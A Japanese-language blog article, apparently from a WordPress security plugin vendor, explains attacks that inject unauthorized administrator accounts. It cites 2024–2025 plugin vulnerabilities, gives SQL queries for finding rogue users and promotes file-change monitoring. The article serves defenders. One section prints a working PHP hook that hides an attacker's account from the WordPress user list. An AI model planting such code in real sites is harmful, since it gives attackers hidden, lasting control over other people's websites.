突然の管理者アカウント追加に注意!「不正ユーザー注入」の脅威と対策

2025年、静かに広がる「管理者乗っ取り」のパンデミック

「数ヶ月ぶりにダッシュボードを開いたら、見知らぬユーザーが『管理者』として君臨していた」

2024年から2025年にかけて、WordPressコミュニティではこのような背筋の凍る報告が急増しました。
ウェブサイトの改ざんといえば、画面が突然真っ白になったり、派手な政治的メッセージが表示されたりするものを想像しがちです。
しかし、今、世界中で流行している攻撃はもっと静かで、陰湿で、致命的です。

それが、「不正ユーザー注入(Unauthorized User Injection)」です。

攻撃者は、あなたのサイトを破壊するのではなく、サイトの「共同所有者」になりすまし、長期間にわたって寄生し続けることを選び始めています。
本記事では、2025年に猛威を振るっているこの攻撃手法の技術的背景、実際に起きた大規模なキャンペーン事例、そしてSentinelSecurityを用いた最新の防衛策まで、約1万文字のボリュームで徹底的に解説します。


1. 攻撃者の狙い:なぜ「合鍵」を作るのか?

ファイルを改ざんしてマルウェアを埋め込むことは、攻撃者にとってもリスクの高い行為です。
セキュリティプラグインのスキャンに検知されやすく、アップデートによって上書きされる可能性もあるからです。

しかし、「正規の管理者アカウントを作成する」ことに成功すれば、状況は一変します。

1.1 「正面玄関」からの堂々たる侵入

一度管理者アカウントを作ってしまえば、攻撃者はハッキングツールを使う必要がありません。
wp-login.php アクセスし、IDとパスワードを入力するだけで、堂々とログインできます。
IP制限などをかけていない限り、この「正規のログイン」をファイアウォールでブロックすることは極めて困難です。

1.2 脆弱性が修正されても「締め出されない」

これが最大の利点です。
例えば、あるプラグインの脆弱性を突いて侵入したとしましょう。
翌日、管理者がそのプラグインをアップデートして脆弱性を塞いだとします。
もし攻撃者が「バックドアファイル」しか設置していなければ、それが見つかって削除された時点で終わりです。
しかし、「管理者アカウント」を持っていれば、脆弱性が塞がれていようが関係ありません。
彼らはもはや「招かれざる客」ではなく、「家の鍵を持った住人」なのです。


2. 2024-2025年に起きた「管理者注入」の世界的脅威

「ユーザーが勝手に作られるなんて、ごく稀なケースでしょう?」と思っているなら、それは大きな間違いです。
ここ数年、何十万ものサイトがこの手法の被害に遭いました。
代表的な事例を3つ紹介します。

2.1 King Addons for Elementor の権限昇格 (CVE-2025-8489)

2025年後半、Elementorの人気アドオン「King Addons」に、攻撃者が「認証なしで管理者になれる」というクリティカルな脆弱性が発見されました。
WordfenceやThe Hacker Newsの報告によると、この脆弱性は10月末から大規模な悪用攻撃(Active Attack)が確認されています。

攻撃の手口:
ユーザー登録処理を行う handle_register_ajax 関数の不備を突き、攻撃者は wp-admin/admin-ajax.php に対して細工したリクエストを送信します。
そのリクエスト内で「役割(Role):管理者(Administrator)」と指定するだけで、パスワードを知らなくても、正規の管理者としてアカウントが作成されてしまうのです。
多くのサイトで、謎の管理者アカウントが急増する被害をもたらしました。

2.2 Really Simple Security の認証バイパス (CVE-2024-10924)

2024年11月、セキュリティプラグイン「Really Simple Security」に、CVSSスコア9.8(Critical)の脆弱性が発覚しました。
これは2要素認証(2FA)機能のREST APIにおけるエラー処理(check_login_and_get_user関数)の欠陥に起因するものでした。

影響:
攻撃者は、2要素認証が有効になっている環境下であっても、認証プロセスを完全にスキップして任意のユーザー(管理者を含む)としてログインできる状態でした。
「セキュリティを強化するためのプラグイン」が、逆に最大のセキュリティホールになってしまった皮肉な事例として、世界中に衝撃を与えました。

2.3 Post SMTP のアカウント奪取 (CVE-2025-11833)

2025年に入ってからも脅威は止まりません。
メール配信プラグイン「Post SMTP」の脆弱性では、パスワードリセット機能が悪用されました。

手口:
攻撃者は、管理者宛てのパスワードリセットメールを傍受、あるいはリセットトークンを推測することで、管理者のパスワードを強制的に書き換えました。
これにより、正当な管理者が締め出され(ロックアウト)、攻撃者が唯一の管理者としてサイトを支配するケースが多発しました。


3. そのユーザーは「クロ」か?高度な識別テクニック

前回の記事で紹介した「不自然な名前」「空欄のメールアドレス」は、あくまで初歩的な見分け方です。
2025年の攻撃者はさらに巧妙化しており、一見しただけでは異常に気づけないケースが増えています。

3.1 データベースを直接覗く (phpMyAdmin/CLI)

高度な攻撃者は、insert_user 関数を使わず、SQLで直接レコードを挿入します。
この痕跡を見つけるには、ダッシュボードではなくデータベースを直接確認する必要があります。

チェックすべきSQLクエリ例(phpMyAdmin等で実行):

SELECT * FROM wp_users WHERE user_registered = '1970-01-01 00:00:00';

データベース経由で無理やり挿入されたユーザーは、登録日時(user_registered)が 0000-00-00 00:00:00 になっていたり、UNIXエポックタイムの初期値である1970年になっていたりすることが多々あります。

また、不審なドメインを一括検索するのも有効です。

SELECT * FROM wp_users WHERE user_email LIKE '%@sharklasers.com%';

(※sharklasers.com などは、捨てアドサービスでよく使われるドメインの一例です)

3.2 pre_user_query による「透明人間」化

「ユーザー一覧画面には管理者1人と表示されているのに、DBを見ると2人いる」
これは怪談ではなく、現実に起こりうる攻撃です。

攻撃者は、テーマの functions.php や必須プラグイン(mu-plugins)の中に、以下のようなコードを仕込むことがあります。

// 攻撃用ユーザーID(例: 123)をユーザー一覧から隠すコード
add_action('pre_user_query', function($user_search) {
    global $current_user;
    if ($current_user->ID != 123) { 
        global $wpdb;
        $user_search->query_where = str_replace(
            'WHERE 1=1',
            "WHERE 1=1 AND {$wpdb->users}.ID <> 123",
            $user_search->query_where
        );
    }
});

このコードが走っていると、ダッシュボードのユーザー一覧から、攻撃者のIDだけが綺麗に消え去ります。
しかし彼らはログイン可能ですし、権限も持っています。
まさに「透明人間」があなたのサイトに住み着いている状態です。

3.3 休眠アカウントの「寄生」

新規作成するとバレるリスクがあるため、攻撃者は「何年もログインしていない古い管理者アカウント」を狙います。
SQLインジェクションを使って、その休眠アカウントのパスワードハッシュだけを自分のものに書き換えるのです。
ユーザー数も増えず、名前も変わらないため、管理者がこれに気づくのは至難の業です。


4. なぜ「ユーザー削除」だけでは無意味なのか?

ここまでの解説で、攻撃がいかに根深いかがお分かりいただけたかと思います。
もし不正ユーザーを発見したとしても、「削除ボタン」を押して安心するのは、火災報知器を止めて火事を無視するのと同じです。

4.1 脆弱性はまだ開いている

不正ユーザーが作られたということは、そこに「穴(Vulnerability)」があったということです。
その穴を塞がない限り(プラグインの更新や削除)、攻撃者は1分後にまた戻ってきて、同じ手順でユーザーを作成します。

4.2 バックドアは設置済みである

ユーザー作成に成功した攻撃者が、最初に行うことは何でしょうか?
それは「ユーザーを消された時の保険」をかけることです。
彼らはしばしば、目立たないディレクトリ(/wp-content/uploads//wp-includes/images/ など)に、難読化されたPHPファイル(バックドア)を設置します。
これにより、たとえ管理者アカウントを削除されても、そのPHPファイルにアクセスするだけで、またいつでも管理者権限を復活させることができるのです。


5. SentinelSecurityのアプローチ:変更監視という防衛線

Sentinel Securityのファイル変更監視はこちらから

このような「いたちごっこ」を終わらせるには、どうすればよいのでしょうか。
SentinelSecurityは、従来の「侵入させない」対策に加え、プロ版機能である「ファイル変更監視(File Change Monitoring)」によって、内部からの改ざんを検知するアプローチを推奨しています。

5.1 【プロ版】ファイル変更監視の威力

SentinelSecurity Proには、WordPressのシステムファイルやプラグインファイルを定期的にスキャンし、「前回のスキャンから変更があったか?」を監視する機能が搭載されています。

攻撃者が行う以下の行動は、すべて「ファイルの変更」として記録されます。

  1. 不正ユーザーを隠すために functions.php を書き換えた。
    検知可能
  2. 将来の侵入用バックドアとして uploads フォルダに backdoor.php をアップロードした。
    検知可能
  3. 既存のプラグインファイルの中に、数行の悪意あるコードを追記した。
    ハッシュ値の不一致により検知可能

一般的なマルウェアスキャンは「既知のウイルスのパターン」を探しますが、SentinelSecurityの変更監視は「正常な状態からの逸脱」を探します。
そのため、まだ世に出回っていない未知のバックドア(ゼロデイ攻撃の遺留物)であっても、「見覚えのないファイルが追加された」という事実をもって炙り出すことができるのです。

5.2 ログインセキュリティとの連携

もちろん、入口の守りも重要です。
SentinelSecurityの基本機能である「ログインセキュリティ(Login Security)」は、不正ユーザーが作成された「後」の被害拡大を防ぎます。

  • 脅威インテリジェンス (Threat Intelligence):
    SpamhausやAbuseIPDBなどのグローバルな脅威データベースとリアルタイムに連携し、過去に攻撃履歴のある危険なIPアドレスからのアクセスを自動的に遮断します。
    「国」単位ではなく「個々の攻撃者」をピンポイントで弾くことができるため、正規ユーザーを巻き込まずに攻撃だけを防ぐことが可能です。
  • ログインアラート: 管理者権限を持つユーザーがログインした瞬間、あなたに通知メールが飛びます。身に覚えのないログインがあれば、その場でパスワードを変更し、セッションを強制終了させることができます。

6. まとめ:違和感を放置しない勇気

2025年のサイバー攻撃は、もはや「他人事」でも「事故」でもありません。
それは自動化されたプログラムによる「自然災害」に近いものです。
雨が降れば誰もが濡れるように、脆弱性があれば、あなたのサイトが個人ブログだろうが大企業だろうが、平等に攻撃されます。

  • まずは確認を: ユーザー > 一覧 を今すぐ見てください。
  • 数を疑う: 全ユーザー数が合っているか確認してください。
  • ツールを使う: 目視で見つけられない脅威は、SentinelSecurityのような専門ツールに頼ってください。

「あれ?こんなユーザーいたっけ?」
その小さな違和感こそが、あなたのサイトを守る最後の砦です。
その直感を無視せず、徹底的に調査することが、被害を最小限に食い止める唯一の方法なのです。